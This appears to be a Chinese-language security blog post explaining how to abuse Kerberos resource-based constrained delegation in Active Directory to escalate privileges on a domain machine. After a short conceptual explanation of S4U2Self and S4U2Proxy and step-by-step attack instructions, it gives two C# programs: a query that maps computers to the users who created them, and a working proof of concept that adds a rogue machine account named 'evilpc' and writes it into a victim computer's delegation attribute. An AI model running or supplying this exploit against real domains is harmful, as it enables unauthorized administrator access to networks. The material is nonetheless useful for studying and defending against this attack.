在文章说到的:(1)注:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的

(2) 在一个域中只有服务账号才有委派功能,使用如下命令将ghtwf01设为服务账号

1、2存在悖论,根据2中的意思是只要绑定SPN服务就为服务账号。而1中则将能够委派的账号分为服务账号和主机账号。但是在加入域的主机账号已经自动绑定了SPN服务成为了2中的服务账号。

因此服务账号可分为域用户服务账号、机器服务账号

基于资源的约束委派

原理:

基于资源的约束委派是一种允许自己去设置哪些账户委派给自己的约束委派,它和前面两种不同的地方就是前者是由域控上的高权限账户设置的,而且则可以自己指定。

传统的约束委派是"正向的",通过修改服务A属性"msDS-AllowedToDelegateTo",添加服务B的SPN(Service Prinvice Name),设置约束委派对象(服务B),服务A便可以模拟用户向域控制器请求服务B以获得服务票据(TGS)来使用服务B的资源。

而基于资源的约束委派则相反,通过修改服务B属性"msDS-AllowedToActOnBehalfOfOtherIdentity",添加服务A的SPN,达到让服务A模拟用户访问B资源的目的。

基于资源的约束委派的利用:

基于资源的约束委派利用最常用的也就是烂番茄漏洞提权了

涉及到两种协议:

S4U2Self

作用其实是协议转换,在约束委派中,因为服务器不能再获取委派用户的tgt去请求tgs了,但是tgs又是认证过程所必须的,因此S4U2Self解决了这个问题,服务器可以使用它去向KDC请求一张用户身份的TGS,服务器再用这张TGS去发起S4U2proxy请求。

S4U2proxy

该拓展作用是使用一张用户身份的TGS去向KDC请求一张用于访问服务器B的TGS,这张TGS的身份还是用户。

怎么来设置基于资源的约束委派呢?其中msDS-AllowedToActOnBehalfOfOtherIdentity是关键。

msDS-AllowedToActOnBehalfOfOtherIdentity msDS-AllowedToActOnBehalfOfOtherIdentity,此属性作用是控制哪些用户可以模拟成域内任意用户然后向该计算机进行身份验证。

简而言之, 如果我们可以修改该属性那么我们就能拿到一张域管理员的票据,但该票据只对这台机器生效,然后拿这张票据去对计算机进行认证就能提权成功了(也就是说当域内存在任意一台域控和域功能级别是server 2012及以上时,可以通过给所在机器配置"msDS-AllowedToActOnBehalfOfOtherIdentity"属性来设置rbcd,然后通过s4u协议申请高权限票据进行利用)

提权原理

RBCD本地提权的方案都是基于WEBDAV结合NTLM relay到ldap去设置msDS-AllowedToActOnBehalfOfOtherIdentity属性,允许自己委派自己。

如何通过ldap协议去设置?

首先我们得知道,机器加入域后,而对应登陆的域用户会在域内创建机器对应的计算机对象也就是计算机账户(默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加多达10个计算机帐户),默认的ACl策略下,登陆机器的域用户(不仅仅是域用户,只要是注册spn的账户都可以)是对计算机对象是有写入对象属性的权限(WriteProperty)。

而恰巧,域里面的计算机服务大部分都是注册为spn的服务账户,比如mssql,lls。。。。。,但是spn这个需要手动去dc那里去注册,为啥要注册为了spn,方便管理和访问,有时候可以直接查询spn账户来锁定域里面的一些特殊服务。

所以我们只需要用服务账户去设置本地计算机写入msDS-AllowedToActOnBehalfOfOtherIdentity属性。

如何利用?

这里我们来说最普通最平常的情况,现在我们拥有一台普通权限的域内的机器,拥有一个注册spn域账户。

1.首先,因为我们不知道我们拿到计算机加入域的时候是哪一个域用户创建的计算机对象,但是没关系,我们手上有个spn域账户,我们可以再为计算机创建个计算机账户

2.然后我们通过我们spn域账户去给创建的计算机账户设置msDS-AllowedToActOnBehalfOfOtherIdentity属性,其实本地也可以设置,但是权限不够。

3.然后使用s4u2self扩展代表我们拿到服务器的administrator去向KDC请求一张TGS。

4.最后一步使用s4u2proxy扩展用我们拿从s4u2self那里获取到的tgs作为验证信息再去请求一张用于访问n0thing-pc机器CIFS spn的tgs票据

5.提权成功

注意:如果我们没有spn域账户,我们也可以去查看机器是通过哪个域用户加入域的(mS-DS-CreatorSID),控制这个域用户一样的可以利用,而且一个域用户X可能会在域中创建多台机器,那也是爽歪歪。

附上查询脚本(mS-DS-CreatorSID):

代码语言:javascript复制
using System;
using System.Security.Principal;
using System.DirectoryServices;
namespace ConsoleApp9
{
    class Program
    {
        static void Main(string[] args)
        {
            DirectoryEntry ldap_conn = new DirectoryEntry("LDAP://dc=redteam,dc=com");
            DirectorySearcher search = new DirectorySearcher(ldap_conn);
            String query = "(&(objectClass=computer))";//查找计算机
            search.Filter = query;
            foreach (SearchResult r in search.FindAll())
            {
                String mS_DS_CreatorSID="";
                String computername = "";
                try
                {
                    computername = r.Properties["dNSHostName"][0].ToString();

                    mS_DS_CreatorSID = (new SecurityIdentifier((byte[])r.Properties["mS-DS-CreatorSID"][0], 0)).ToString();
                    //Console.WriteLine("{0} {1}n", computername, mS_DS_CreatorSID);
                }
                catch
                {
                    ;
                }
                //再通过sid找用户名
                String UserQuery = "(&(objectClass=user))";
                DirectorySearcher search2 = new DirectorySearcher(ldap_conn);
                search2.Filter = UserQuery;

                foreach (SearchResult u in search2.FindAll())
                {
                    String user_sid = (new SecurityIdentifier((byte[])u.Properties["objectSid"][0], 0)).ToString();


                    if (user_sid == mS_DS_CreatorSID) {
                        //Console.WriteLine("debug");
                        String username = u.Properties["name"][0].ToString();
                        Console.WriteLine("[*] [{0}] -> creator  [{1}]",computername, username);
                    }
                }

            }
        }
    }
}

值得注意的是,计算机本地服务账户,如iis,network service等,出网都是机器账户,也就是说,也可以利用。

附上ateam大佬的poc:

代码语言:javascript复制
using System;
using System.Text;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Net;
namespace Addnew_MachineAccount
{
    class Program
    {
        static void Main(string[] args)
        {
            String DomainController = "192.168.20.10";
            String Domain = "redteam.com";
            //String username = args[0]; //域用户名
            //String password = args[1]; //域用户密码
            String new_MachineAccount = "evilpc"; //添加的机器账户
            String new_MachineAccount_password = "123456"; //机器账户密码
            String victimcomputer = "web2"; //需要进行提权的机器
            String victimcomputer_ldap_path = "LDAP://CN=web2,CN=Computers,DC=redteam,DC=com";
            String machine_account = new_MachineAccount;
            String sam_account = machine_account   "$";

            String distinguished_name = "";
            String[] DC_array = null;
            distinguished_name = "CN="   machine_account   ",CN=Computers";
            DC_array = Domain.Split('.');
            foreach (String DC in DC_array)
            {
                distinguished_name  = ",DC="   DC;
            }
            Console.WriteLine("[ ] Elevate permissions on "   victimcomputer);
            Console.WriteLine("[ ] Domain = "   Domain);
            Console.WriteLine("[ ] Domain Controller = "   DomainController);
            //Console.WriteLine("[ ] New SAMAccountName = "   sam_account);
            //Console.WriteLine("[ ] Distinguished Name = "   distinguished_name);
            //连接ldap
            System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
            //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录
            System.DirectoryServices.Protocols.LdapConnection connection = null;
            //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);
            connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
            connection.SessionOptions.Sealing = true;
            connection.SessionOptions.Signing = true;
            connection.Bind();
            var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
                new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account  "."  Domain),
                new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
                new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
                new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("""   new_MachineAccount_password   """)),
                new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
                new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/" machine_account "." Domain,"RestrictedKrbHost/" machine_account "." Domain,"HOST/" machine_account,"RestrictedKrbHost/" machine_account)
            });
            try
            {
                //添加机器账户
                connection.SendRequest(request);
                Console.WriteLine("[ ] Machine account: "   machine_account   " Password: "   new_MachineAccount_password   " added");
            }
            catch (System.Exception ex)
            {
                Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)");
                Console.WriteLine("[-] Exception: "   ex.Message);
                return;
            }
            // 获取新计算机对象的SID
            var new_request = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name="   machine_account   ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
            var new_response = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
            SecurityIdentifier sid = null;
            foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
            {
                try
                {
                    sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);
                    Console.Out.WriteLine("[ ] "  new_MachineAccount  " SID : "   sid.Value);
                }
                catch
                {
                    Console.WriteLine("[!] It was not possible to retrieve the SID.nExiting...");
                    return;
                }
            }
            //设置资源约束委派
            System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry("redteam.com");
            myldapConnection.Path = victimcomputer_ldap_path;
            myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
            System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
            //通过ldap找计算机
            search.Filter = "(CN=" victimcomputer ")";
            string[] requiredProperties = new string[] { "samaccountname" };
            foreach (String property in requiredProperties)
                search.PropertiesToLoad.Add(property);
            System.DirectoryServices.SearchResult result = null;
            try
            {
                result = search.FindOne();
            }
            catch (System.Exception ex)
            {
                Console.WriteLine(ex.Message   "Exiting...");
                return;
            }
            if (result != null)
            {
                System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();
                String sec_descriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;"   sid.Value   ")";
                System.Security.AccessControl.RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);
                byte[] descriptor_buffer = new byte[sd.BinaryLength];
                sd.GetBinaryForm(descriptor_buffer, 0);
                // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中
                entryToUpdate.Properties["msds-allowedtoactonbehalfofotheridentity"].Value = descriptor_buffer;
                try
                {
                    entryToUpdate.CommitChanges();//提交更改
                    Console.WriteLine("[ ] Exploit successfully!");
                }
                catch (System.Exception ex)
                {
                    Console.WriteLine(ex.Message);
                    Console.WriteLine("[!] nFailed...");
                    return;
                }
            }
        }
    }
}

END

看完记得点赞,关注哟,爱您!

请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!

关注此公众号,回复"Gamma"关键字免费领取一套网络安全视频以及相关书籍,公众号内还有收集的常用工具!

在看你就赞赞我!

扫码关注我们

扫码领hacker资料,常用工具,以及各种福利

转载是一种动力 分享是一种美德

0 人点赞